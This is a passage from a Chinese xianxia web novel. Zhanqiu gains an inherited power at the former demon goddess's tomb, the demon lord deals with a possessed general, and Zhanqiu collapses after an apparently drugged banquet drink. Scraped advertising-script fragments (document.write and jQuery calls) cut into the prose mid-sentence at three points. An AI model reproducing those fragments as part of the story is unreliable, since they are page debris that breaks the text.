先妖神宁涣从前的确与玄焰真神颇有些渊源,其眷侣景廉乃玄焰真神座下唯一的弟子。 景廉在世时,宁涣常常伴其出入神界,一来二去便也算与玄焰真神结下了半个师徒情谊 但那都是许久以前的事了。 传闻三千年前景廉与玄焰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真神离心,断绝师徒关系。虽然此传闻难辨真伪,但景廉与宁涣的确自三千年前起一直到他们双双殒世的那日,都再未踏足过神界。 不过其中内情如何,到底只有当事人知晓。 这厢听斩秋说道玄焰真神常常与她提起宁涣,从前景廉与玄焰真神反目的传闻便显得没那么可信了。 岚祭渐渐从回忆中抽离出来:“上神想了解些什么?” “和我讲讲她是个什么样的女子罢。” 岚祭抿了抿唇,眼底神色一片怅然:“上神应当知晓,拥有妖神之力者可治愈众妖生灵,便也能统治妖界众生罢。先妖神宁涣便是这样的存在,她在世时我们称她为妖主。” “妖主她虽身份尊崇,但剥去这一层威严的外壳,底下却是个十分活泼的女子。她在妖界时从不拘于皇宫殿宇,常常混入市集,与百姓嬉笑聊天,偶尔还会帮城中小贩们摆摊、卖货。梦幽城中有一家唤作归云居的酒肆,便是她一手经营的。妖主还会酿酒,她酿的酒我们宫中每一个人都尝过……” 岚祭说着露出柔和的笑容,好像陷入了那段遥远的时光。 温柔、活泼、平易近人,这些形容与她来时想象的不太一样。斩秋听着不自觉扬起唇角,心想她若是还在世,倒是与她志趣相投。 忽然有点想见见她。 “可有为她立碑?”斩秋问。 “自然。”岚祭怅惘道,“妖主的灵冢还是我督建的。” “我也想去祭拜一下先妖神,不知可否方便?” “这……”岚祭想了想,颔首笑道,“上神也算是妖主故人之友,没什么不便,随我来罢。” 先妖神的灵冢坐落于皇宫结界的山谷中,四周被苍松翠柏环绕,显得格外庄严。 墓碑矗立于一个圆形台面之上,其下三层台阶由寒冰陨石铺成,透着远古的气息。 岚祭在圆台下止步,转首对斩秋道:“斩秋上神代玄焰真神叙旧,我等不便打扰,便不陪上神过去了。” “殿下,属下也在此等你。”灵衫站定道。 斩秋点头道了谢,随后独自走上台阶,缓缓踱步至墓碑前。 她的目光被碑旁伫立的石像吸引,淡淡地描摹石像女子的面容。女子眼神深邃柔和,嘴唇饱满微微勾起,仿佛挂着淡淡的笑容。 这便是她的母神吗? 很奇怪,哪怕看着眼前的石像,她的脑海中依旧描绘不出母神的脸庞。她笑起来会是什么模样,她的声音,她的脾性,斩秋一样都想象不出来。 此刻她的心中并没有突如其来的悲伤,甚至有些尴尬,不知道她该有什么样的情绪。 来之前她本来在心中期待着什么答案,但如今站着这里,她却感受到一丝冷静的距离感,心里空荡荡的。 注视良久,斩秋才缓缓抬手朝石像探去,仿佛如此便能加深与母神的联系,可当冰冷的触感顺着指尖蔓延开时,她才意识到眼前终究只是一块石头罢了。 她收回了手,也收回了心头短暂闪过的好奇与遗憾,转身退了出去。 可当她即将迈下最后一阶台阶之际,身后骤然响起一道石碑碎裂的声音,随之一种异样的震动从脚底传来,像是从深渊汹涌而出的能量。 斩秋不由神情微怔,感受到一股陌生的灵力冲入她体.内,从脚底而上直达灵海,不容抗拒。 还未来得及反应,额心突然传来一阵灼热感,似是被某种力量牵引着,剧烈地发热起来,如火焰一般在皮肤下肆虐。 她下意识地伸手按住额头,试图缓解这莫名的痛楚,可它却愈发强烈。 彼时站在远处的岚祭与灵衫也发觉了异样,纷纷朝斩秋望去。 岚祭的眼底划过一丝惊愕。 只见一道青色的光芒自墓碑迸发,落在了斩秋周围,如同结界笼罩一般将她紧紧裹在其中,模糊的光晕下只能看见她单膝跪在地上的轮廓,手扶着额头,似是痛苦极了。 灵衫见状连忙朝其奔去,可圆台周身散发的灵力让她根本靠近不了半分。 她不由转身质问岚祭,眼中满是焦急。 “怎么回事?殿下这是怎么了?!” 却见后者嘴巴微微张开,半天未吐出一个字来。 44. 第44章 这般景象,岚祭只在先妖神开启妖神印记时见过一次。 他不可置信地望着圆台上的斩秋,一时间心中闪过诸多想法。 斩秋非玄焰真神所出一事六界皆知,却没人过问过她的来历,唯恐多言冒犯了玄焰真神。如今想来,玄焰真神与先妖神相熟,斩秋若是先妖神之女,也并非全然没有可能。 算算她的年岁,也可与先妖神逝世的日子对得上。若她真是先妖神的血脉…… 岚祭神色一动,心底的欣喜与振奋难以抑制,转头便欲将此天降的喜事禀告陛下。 转身之际,又唯恐此事是空欢喜一场。心道兹事体大,还是观察确切了再禀不迟。 若眼前之事当真如他所想,那待此结束时便能在斩秋额间看见那抹久违的妖神印记。 就再等一刻,再等一刻便好。 此刻一旁的灵衫观他脸上神情不断变幻,却迟迟不回应自己的疑问,不由手握长剑架在他的颈上,满目怀疑:“你究竟在耍什么把戏?” 颈边传来的寒意将岚祭激动飘远的思绪唤了回来,但他对其无礼之举并不恼怒,只是努力平复着心底的震惊,对灵衫道:“女君莫急,上神她绝不会有事,我可与你保证。” 话落之际,墓碑散发的灵力骤减,光晕散去,露出了台上跪坐在地的斩秋。 灵衫见状收了剑,迅速朝其奔去,扶住她的手臂:“殿下。” 身后岚祭亦动作敏捷,大步行至斩秋身旁,面上盛满了期待,却在她起身的那一瞬陡然僵住,转化为浓浓的失望与不解。 怎么会没有妖神印记呢? 额间的疼痛随着周身灵力的退散一同消失,斩秋回过神来,只觉身体多了一股不属于她的灵力在慢慢沉淀,不禁下意识地朝身后的墓碑望去,眸色幽深。 “殿下,你没事吧?”灵衫关切的声音传来,斩秋循声回首,按着她的手掌摇了摇头,“无碍。” 剩下的,待回去再与她说。 再一抬眼,见一旁岚祭神色惆怅,眯了眯眸:“祭司?” 岚祭应声看去,犹是不死心,上前一步道:“殿下方才可感觉到什么?” 方才那阵仗瞧着分明与当年先妖神开启妖神印记时一致,不应有误。若非血脉之人,怎会触发神力传承?妖神印记不显,会不会是别的地方出了差错? 内心的疑问接踵而至,尽数化为恳切期望浮于面上。 斩秋观他模样有异,心底斟酌了一番,并未和盘托出:“方才的确感到被一股力量所缚,祭司可知是为何?” 后者追问:“仅仅如此吗?” “嗯。” 岚祭的肩膀无声垮了下来,面上却仍维持着一抹淡淡的微笑:“没什么,许是因为灵冢受到了惊扰,上神不必在意。” 斩秋闻言没再过多试探,很快与岚祭告了辞,携灵衫离去,全然没发觉身后岚祭的目光一直停留在她的背影,久久没有收回。 “殿下,方才在灵冢您可是发现了什么?”回到含光殿后,灵衫施术隔绝了殿外的守卫,走到斩秋身旁问道。 二人相伴千年,早已练就一个眼神便读懂对方心思的默契。 “灵衫,好像……”斩秋低柔的声音里裹着一层隐隐约约的欣喜,她摊开手掌缓缓聚力,只见流动的紫光从虚空中汇聚,绕在她指间激荡,周围的空气也随之震颤。 “我的修为恢复了。” 似乎不仅仅是回到了从前,而是比上一世更加强大。 - 与此同时,诡境边界处。 百里及春与有苏惜言沉默了一路。后者既不过问此行的目的,也不打听非他不可的缘由,仿佛对一切都漠不关心。 唯命是从这一点,百里及春很是受用。 不过心想他若非是这般性子,上一世怕是也不会死得那么冤屈。 百里及春放缓了脚步,有意提点他:“有苏少君可知,伴君如伴虎,有时过分坚守原则而不懂得变通,可能会惹来杀身之祸。” 猝不及防的一句话让有苏惜言心下微愣,他轻轻蹙眉,并不作答。 陛下命他跟随魔尊前往魔界时并未交代何事,只道此行全然听从魔尊差遣。遵从旨意此事是他为臣的本分,但这并不代表他还需要对其阿谀奉承。 见状,百里及春轻笑一声:“你大可无视本座之言。”说着将他那不可多见的恻隐之心收了回来,目光森然,“只是一会儿到了遗光塔,还望你继续无视你所见、所闻的一切。” 有苏惜言明白他话中的意思。在陛下身边多年,他很清楚自己的位置,在面对不该他知晓的事情面前,知道该如何视而不见。 谈话间已行至诡境与魔界交界处,眼前的结界在百里及春面前恍若无物,只见他未施任何法术只身踏了进去。待他的衣袍与结界相交时,诡境结界霎那间如春雪消融,化作一片虚无。 有苏惜言见状跟了上去,待他踏入以后,结界随之笼罩回来。 方一进入魔宫,便见不远处过来一队身穿铠甲的士兵,为首之人一头红色长发尤为醒目。 “尊上。”赤龙走到百里及春跟前,视线往有苏惜言身上扫了几眼,目光算不得友好。 他虽未与有苏惜言打过交道,却在妖族战册画像上见过几回,知晓此人乃妖皇辰琰身边最得力的臂膀之一。 听闻妖族少君从不擅自离开妖皇左右,如今跟着尊上孤身来了魔界,这算怎么一回事?莫非他归附魔界了? 思及此,莫名的危机感涌了上来,赤龙不禁昂首,神色提防地盯着有苏惜言,却闻尊上凛然的声音从旁落下。 “带他去给贺青驱魂。” 赤龙瞬间面色明朗,颔首应是:“不过,尊上您不一同前去吗?” 百里及春回想起那日密林中的情形,神色微凝。那些说他痴心妄想的言语,他没兴趣再听一遍,也不欲再度陷入那段不堪往事。 遂略一摇头,朝其吩咐道:“完事后,把贺青提到烛月殿来。” “是。”赤龙领命,复又看向有苏惜言,“随我来罢。” 去往遗光塔的路不算特别长,有苏惜言起初只问了一句:“魔尊要我替人驱魂?” 孰料如此平常的一问却教赤龙如同打开了话匣子一般滔滔不绝。 “被阴魂缠身之人乃我军大将贺青。他也是被奸人挑拨蛊了心智,方让那阴魂有了可乘之机。” “只是以往此事尊上都是命我等随便捉来几个仙族解决便可。这回事发之时尊上身边就有一个现成的仙族,还位列上神,尊上竟没想到用她,反而招回来你这么个妖界之人,当真稀奇。” “不过你一介妖族,当真会这驱魂之术?” 有苏惜言没有应声,赤龙又兀自说道:“尊上既将你带回来,想必不会有错。” “不过我可提醒你,一会儿到了遗光塔,无论那阴魂说了什么,你都当作没听见。若是有朝一日我听到你……” 有苏惜言突然开口打断:“敢问阁下名讳。” 赤龙闻言微怔,到底是他问得太突然了,反应了一会儿方才扬起唇角,面上颇有得意之色:“在下赤龙,是尊上的左膀右臂,就与你在你们妖皇那的地位差不多。” 只见有苏惜言轻点了下头,面无表情道:“赤龙将军,你太聒噪了。” 赤龙:“……” 他问自己的名字就是为了让自己闭嘴么? 赤龙的脸色登时如同乌云遮顶,脚程突然加快,转瞬将人送进了遗光塔。 …… 待赤龙将贺青押送到烛月殿时,已是一个时辰以后。 彼时百里及春正阖眼坐于主座之上,听见下方传来动静,掀起眼皮朝下睇了一眼:“都清理干净了?” “是。”赤龙道,“尊上,有苏惜言……” 他话还未尽便见百里及春朝他递去一个锋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 利的眼神,随即噤了声,颔首退了出去。 偌大的殿堂之上只留下贺青垂首跪地的身影。 百里及春幽幽凝视着他,虽未言语,但周身散发的威压气息已然笼罩整座宫殿。 贺青不由咽了咽喉咙。 他从赤龙口中得知自己被阴魂所附,若非尊上命人替他驱魂,他的元神怕是不日便被噬尽,身躯易主。 可楚风之死他亦无法放下,若因一命之恩便放弃追查,那他与见利忘义的小人又有何分别? 思及此,贺青终是艰难开口:“尊上,您的恩情属下牢记在心。可楚风与属下乃患难之交,情同手足,属下实在做不到对其中的疑点视而不见。他究竟因何而死,还望尊上明示。” 垂着头,贺青看不到主座之上百里及春的表情,心中难免惶恐,等待回应的每一瞬都十分难捱。 直到那道低沉的声音缓缓响起。 “你说的不错,楚风不会通敌。” 贺青闻声猛地抬起头:“那尊上为何——” “看看罢。”百里及春挥手化出一道幻影,截断了他的后话。 画面里是一间古朴的竹屋。 “这是……” “楚风如今的隐匿之所。” “尊上的意思是,楚风还活着!?”贺青不可置信地瞪大了双眼,愕然道。 可是那日他分明看见了楚风的尸首,若楚风还活着,那他看到的那人…… “诡渊城的细作。”似能读懂他心中疑惑,百里及春淡漠开口。 话落,贺青的思绪有一瞬的空白。过了许久,终是反应过来,神情一片恍然。 百里及春犹盯着他,指节轻轻敲击着扶手,漫不经心道:“楚风如今已顶替了那日刺客的身份潜入诡渊城。诡渊城安插在宫中的细作不少,为保万无一失,此事仅本座与楚风二人知晓。” “不过你贺青倒是个本事大的,竟迫得本座亲自与你解释。” “如何,这个解释贺将军可还满意?” 他的声音很轻,似乎并未动怒,可落入贺青耳中却如一把利刃直入肌肤。后者浑身一颤,旋即伏首在地,颓然道:“是属下听信谗言疑心尊上,险些破坏尊上大计,请尊上治罪。” 一语落下,迟迟不见上头传来回应。 正当他犹豫着要不要抬头时,一抹月白色的衣摆闯入他的视线。 百里及春不知何时起身,悄无声息地踱至贺青身前,周围的气场仿佛瞬间冷却,使后者不觉将头垂得更低。 “贺将军以为该当何罪?” 话声从头顶洒了下来,透着一丝薄薄的寒意。 离心离德,携军叛变,意图谋反,桩桩件件都是…… “……死罪。”低哑的声音从贺青的喉间溢出。 殿内再度陷入一片沉寂。 静到贺青耳边只能听见自己如雷的心跳,沉重的压迫感让他脸颊发烫,直觉喘不过气来。 良久,方才听他说道。 “死,太轻了。” 百里及春垂下眼睑,低沉的声音里并未掺夹任何情绪,却足以让人不寒而栗:“今日起你的命是本座的,想活,就替本座清理诡渊城那些爪牙。明白了吗?” 贺青仍伏在地上,双手在地面上微微颤抖,既庆幸又感激。 “属下……谢尊上!属下定誓死效忠!” 百里及春没再理会,径直朝殿门踏去。 余光瞥见殿外守候的有苏惜言,脚步缓缓停了下来。 按理说驱魂之后捉来的阴魂应移交至冥界,无论是判下炼狱还是送入轮回都由阴司定夺。 可有苏惜言方才在遗光塔中听其言及“神女”二字,隐约觉得此事或许该由魔尊亲自定夺,故而候在此处。 “敢问魔尊,那名阴魂该如何处置?” 但见百里及春眼睛都未眨一下,毫无波澜道。 “斩了罢。” 45. 第45章 有苏惜言抿紧唇角,似乎没有料到会得到这样的回答。 阴魂若被灵力斩灭,便再无转世的可能。 他自认刀下亡魂不少,却鲜少有过这般赶尽杀绝的时候。不觉手指微拢,想到了什么:“魔尊何不亲自动手?” 他的语气平缓,听起来很像是随口一问,但其中试探之意还是没能逃过百里及春的耳朵。 只见百里及春轻轻侧首,视线不轻不重地落在他身上,唇边漫出冷笑:“听命行事这一点有苏少君在来的路上不是做得很好么,怎么眼下却过问起本座的决定了?” “魔尊误会了。”有苏惜言垂下眼睫,掩盖眸中神色。 原本他只是在遗光塔中听得那附身之人胡言乱语,句句不离“百里小儿”、“九天神女”,疑心此人生前与百里及春相识,且有旧怨。 奈何阴魂无法开口,只有附身之时方能说话。他们一旦被驱魂者捉住,便失去了附身之力,任何拥有灵力者皆可将其斩灭。 唯独有一种人例外。 ——生前亲手将其杀死之人。 他们无法看见亡者的灵魂。 似乎知道有苏惜言在想什么,百里及春剑眉微敛,目光变得幽深。 他的确知道那附身之人是谁。 修行者皆能看见阴魂,尚为凡人时他看不见,但成魔的那一年,他见过的阴魂比他少时见过的死人都多。 其中多数是在人界欺他辱他,后被他算计殒命之人。 他们竟还觉得不甘,死后一直在他身边徘徊,直到看着他成魔。 敢出现在他面前的,他自是有一个算一个地将其尽数斩灭。既死后不愿入轮回,那他便如他们所愿。 自此之后,便少有阴魂敢在他面前晃荡了。纵有怨念不甘,也只得老老实实过了奈何桥。 不过那些人生前并非他亲手所杀,毕竟当时的他只是一个手无权力的落魄皇子,多数时候只能借刀杀人。也正是如此,他才能看见他们的魂魄。 可是那日在妖界,贺青被附身前他并未在周围察觉任何阴魂痕迹。 直到听到那人阴柔的嗓音,他才知道附身贺青的人,是张坚。 他未曾料到此人在他身边盘旋千余年之久,就为了等待一个可以上身的机会。更让他倍感荒诞的是,这千余年来他所做、所思的一切都被此人尽收眼底。 他的野心,他的筹谋,他压在心底从未宣之于口的......竟在其面前暴露无遗。 想到此处,百里及春冷峻的脸庞又多了几分摄人之意,朝旁唤道:“赤龙。” “属下在。”赤龙应声走了过来。 “有苏少君似乎不忍动手。”百里及春侧目斜睨一眼,声音似幽潭般阴冷,“你帮帮他。” - 转眼已是两日后,辰琰又在宫里设了一场酒宴,好像在庆祝某种胜利。 斩秋本无心参宴,但如今有关妖神的传言已放出去,她心系外界的反应,还是决定前来打探一番,心想或许能从辰琰口中套出什么。 不过这场酒宴显然与她设想的不太一样。 宴席并不在宫殿中举行,而是挪到了室外。此处离先妖神灵冢不远,除却中央摆放宴席之物的空地,四周都是参天的古树和闪烁的萤火。 一张用灵石砌成的长桌矗立于月色下,散着柔和的光辉。 参宴的都是妖族各族首领及长老,斩秋的身份在此显得有些突兀,是以她的座位也被安排在了整张长桌的最末端,与辰琰中间隔了足足二十余人。 她根本没机会上前说话。 当然身份尴尬的不止她一人。裘安坐在她左侧。 她原以为裘安这几日会因他们推迟回天宫一事寻她,毕竟他那么在乎所谓妖神的传言。可他却出乎意料得平静,平静到眼下他们坐在同一张桌子上,他的眼睛都没朝她这边动过一下,更别提像往常那般装模作样的寒暄。 对于他这般无视冷漠的态度,斩秋觉得十分轻松。他们之间早已无需假意周旋,如此坦荡地表露出对对方的厌恶,倒是自在许多。 酒过三巡,宴会开始变得活跃,席上众人相互走动敬酒,斩秋不由起身欲朝辰琰走去。 哪知她才刚走出一步便被一道高大的身影拦住了去路。 她下意识地抬首,入目的是一张十分陌生的脸。轮廓刚毅,颧骨分明,眉宇间有英气。 “斩秋上神,久仰大名。”男子面色从容,手握两只酒杯,其中一杯朝她递来,“从前便听闻神君为玄焰真神守灵千载,孝义之心令在下佩服。今日得见,实乃三生有幸,在下敬神君一杯。” 他的声音的确透着恭敬,可是斩秋却本能地对陌生面孔生出戒备之心,清声问道:“敢问阁下是......” “在下有苏瑾,前几日妖神祭典时不在宫中,没能与神君见上一面。昨日听闻神君仍在妖界,专程赶来见神君一面。”他一边说着一边缓缓举起酒杯,目光直视着她,仿佛在等待她的回应。 有苏瑾这个名字她倒是听过,乃妖狐族如今最年轻的首领,同时也是妖族军中一员大将,好战且善战。 斩秋听着视线越过有苏瑾,落在了长桌尽头处的辰琰身上,只见其身形摇晃,俨然已有离开之势。 不由眉心微蹙,想要脱身却又不欲饮下面前这杯来源不明的酒。 斟酌片刻,还是转头拿起自己座上的酒壶,倒了一杯出来与对方递来的那只酒杯轻轻一碰,昂首一饮而下:“将军过誉了。” 有苏瑾似乎对她的防备之心并不意外,反而在她饮尽杯中清酒之际眼底划过一抹难以捕捉的得色,笑着将两只手上的酒都饮入腹中。 可他却没有离开的意思。 斩秋的视线再度飘到长桌的尽头,心底有些着急。她眸光一闪,提起了座上的酒具,朝对方道:“这些时日承蒙陛下款待,我也欲敬陛下一杯,先失陪了。” 话罢便要绕开他往前离去,可他却也往左移了一步,再度挡在了她的身前。 斩秋眼底闪过一丝不豫,面上却依旧保持着客气的微笑:“将军可是还有何话要讲?” 裘安余光瞥见这边的情形,视线顿了顿,半晌,忽然起身走到斩秋身旁,冷硬的声音挤了进来:“有苏将军一千五百年前烁水湾一站成名,威名在外,令人倾佩,我也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敬你一杯。” 话音甫落,斩秋不觉眼睫一颤,很是意外地偏首朝他睇去一眼。 他这是在替她解围脱身么。 来不及细想裘安此举有何目的,斩秋冲有苏瑾抿唇笑笑,很快抛下一句“二位慢聊。”便大步离去。 到底是在辰琰离开之前踱至她身旁,将手中的酒壶随意地往桌上一放,温声道:“陛下,可否与我聊聊?” 月色下,辰琰那双明亮的眼睛如同春日的湖水一般,蕴含淡淡的水汽,透出几分迷离。下巴微抬朝一旁的位子轻轻一点,对她说道:“坐罢。” 原本座位上的主人见状,十分机敏地起身站到了一旁。 斩秋略带歉意地朝那人颔首,坐下后也不与她绕弯子,直截了当地问:“陛下,我们何时可以离开?” 她不是没有离开的办法,眼下会来过问,是为了遵守她们之间的交易。况且,辰琰还没有告诉她,她要在遗光塔中找的人是谁。 只见辰琰斜身坐着,一手支颐,食指在额角轻轻点着,眼神迷离,不知是否将她的问题听了进去。 斩秋等待了一会儿,不见其回应,再度开口:“如今祭典结束已过去三日,外界不可能什么动静都没有罢?” 她了解流言传播的速度,想要六界尽知,莫说三日,就算是半日也绰绰有余。辰琰此刻还不放他们离开,莫非是天帝那边有什么举动? “就快了。”辰琰放下手臂,垂眸望着面前的酒樽,拇指在杯沿缓缓划动着,“朕还有一事尚待确认。” 斩秋见状抿了抿唇,没再继续追问下去。 夜色渐浓,略含凉意的晚风拂过,像是一阵清泉流过心间。辰琰眼中的酒意也被渐渐吹散,重新变得澄澈,透着一丝冷静与坚定。 她忽然将目光挪到斩秋身上,直直地望着她,没有丝毫的波澜,仿佛在等待着什么。 空气中充斥着无声的张力。 斩秋似有所感地抬眸,对上她执着的视线:“陛下为何这么看我?” 一语落下,还不待其回答,斩秋蓦地感到一阵眩晕。与醉酒的恍惚不同,此刻像是被卷入一场无形的漩涡,慢慢失去对身体的掌控。 她不由凝眉竭力聚神,视线落到了一旁的酒水上。 莫非是酒有问题?可她今日就只在有苏瑾来敬酒时喝了一杯,喝得还是自己面前盯了一晚上的酒壶里倒出来的。 怎么回事? 身体逐渐乏力,斩秋不欲在此久留,起身便要寻侍从带她回含光殿。 可她还没迈出几步,忽然一股剧烈的疼痛袭来,仿佛一颗尖锐的骨钉从她额心刺入,疼痛至深,蔓延整个头颅。 斩秋登时眼前一黑,身体不受控制地向前倾去,就在她以为自己即将倒地的瞬间,一双有力的肩膀突然出现在她身前,紧紧环住了她。 许是视觉暂时封闭的缘故,其他的感官变得尤为清晰。脸上传来衣料柔软的触感,耳旁响起低沉而有力的心跳声,但那心跳声似乎并不属于她。 紧接着,一股熟悉的气息钻入鼻间,使她浑身一颤。 若她此刻仍有力气,一定会狠狠推开他。